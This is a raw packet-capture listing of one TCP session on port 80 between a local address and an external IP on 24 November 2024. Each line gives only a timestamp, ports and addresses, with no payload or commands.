Nov 24, 2024 12:05:35.551632881 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.554227114 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.554308891 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.554357052 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.556932926 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.557041883 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.557086945 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.559648037 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.559750080 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.559791088 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.562376976 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.562479973 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.562524080 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.565186024 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.565283060 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.565349102 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.569581032 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.569730043 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.569777012 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.570547104 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.570668936 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.570724964 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.573328972 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.573482990 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.573525906 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.576041937 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.576148033 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.576215982 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.578758955 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.578833103 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.578871965 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.581412077 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.622973919 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.690125942 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.690156937 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.690229893 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.691169977 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.691282988 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.691322088 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.693479061 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.693567038 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.693613052 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.695429087 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.695553064 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.695589066 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.697549105 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.697652102 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.697702885 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.699652910 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.699749947 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.699790001 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.701661110 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.701829910 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.701870918 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.703670025 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.703797102 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.703861952 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.705703020 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.705817938 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.705864906 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.707644939 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.707714081 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.707756042 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.709656000 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.709784985 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.709830999 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.711713076 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.711777925 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.711816072 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.713648081 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.713756084 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.713794947 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.715784073 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.715941906 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.716010094 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.717602015 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.717749119 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.717791080 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.719589949 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.719736099 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.719774008 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.721616983 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.721752882 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.721806049 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.723659039 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.723728895 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.723773003 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.725599051 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.725712061 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.725756884 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.727561951 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.727683067 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.727750063 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.729573011 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.729682922 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.729722977 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.731617928 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.731689930 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.731729984 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.733551025 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.733700037 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.733747005 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.735554934 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.735682964 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.735732079 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.737545967 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.737667084 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.737706900 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.739598989 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.739712000 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.739774942 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.741549015 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.741669893 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.741708040 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.743535042 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.743685961 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.743724108 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.745553017 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.745668888 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.745713949 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.747498035 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.747631073 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.747673035 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.749506950 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.749654055 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.749716043 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.751493931 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.751554966 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.751596928 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.753484964 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.753611088 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.753657103 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.755534887 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.755635977 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.755676985 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.757455111 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.757570982 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.757613897 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.759494066 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.759605885 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.759654999 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.761612892 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.761667013 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.761707067 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.763474941 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.763602018 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.763644934 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.765515089 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.765727997 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.765779018 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.767631054 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.767703056 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.767743111 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.769442081 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.769565105 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.769608974 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.771425962 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.771598101 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.771640062 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.773417950 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.773595095 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.773670912 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.775410891 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.775553942 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.775604010 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.777426004 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.777554035 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.777606010 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.779396057 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.779510975 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.779555082 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.781431913 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.781564951 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.781609058 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.783453941 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.783571959 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.783613920 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.785500050 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.785713911 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.785778046 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.787647009 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.787728071 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.787770987 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.789366007 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.789465904 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.789511919 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.791392088 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.841710091 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.891459942 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.891561031 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.891630888 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.892312050 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.892443895 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.892488956 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.893874884 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.893959045 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.894005060 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.895432949 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.895523071 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.895566940 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.897012949 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.897098064 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.897142887 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.898557901 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.898704052 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.898755074 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.900125027 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.900244951 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.900291920 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.901638031 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.901751995 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.901828051 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.903158903 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.903362989 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.903409004 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.904684067 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.904803038 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.904861927 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.906176090 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.906295061 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.906338930 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.907624006 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.907749891 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.907798052 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.909272909 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.909348011 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.909394979 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.910569906 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.910681963 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.910722971 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.912020922 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.912156105 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.912221909 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.913482904 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.913614988 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.913660049 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.914869070 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.914984941 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.915031910 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.916289091 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.916436911 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.916485071 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.917706013 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.917833090 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.917877913 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.919137001 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.919255018 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.919301987 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.920589924 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.920737028 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.920783043 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.922013044 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.922123909 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.922169924 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.923451900 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.923558950 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.923626900 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.924848080 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.924969912 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.925014019 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.926316023 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.926410913 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.926455021 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.927696943 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.927803040 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.927848101 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.929128885 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.929229021 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.929274082 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.930553913 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.930665016 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.930710077 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.931971073 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.932034969 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.932080030 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.933433056 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.933549881 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.933593988 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.934839010 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.935009956 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.935055971 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.936276913 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.936393976 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.936439991 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.937783003 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.937939882 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.937987089 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.939260960 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.939459085 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.939502954 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.940718889 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.940850973 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.940896034 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.941966057 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.942070961 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.942111015 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.943397045 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.943514109 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.943561077 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.944885969 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.944956064 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.945025921 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.946264029 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.946374893 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.946419001 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.947688103 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.947809935 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.947854996 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.949098110 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.949196100 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.949239969 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.950560093 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.950658083 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.950715065 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.951982975 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.952086926 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.952131987 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.953510046 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.953600883 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.953643084 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.954813957 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.954946995 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.954992056 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.956329107 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.956456900 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.956505060 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.957791090 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.957915068 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.957959890 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.959321976 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.959474087 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.959517956 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.960520983 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.960644007 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.960690022 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.962119102 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.962203026 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.962248087 CET	49899	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:05:35.963437080 CET	80	49899	178.215.224.74	192.168.2.5
Nov 24, 2024 12:05:35.963551044 CET	80	49899	178.215.224.74	192.168.2.5
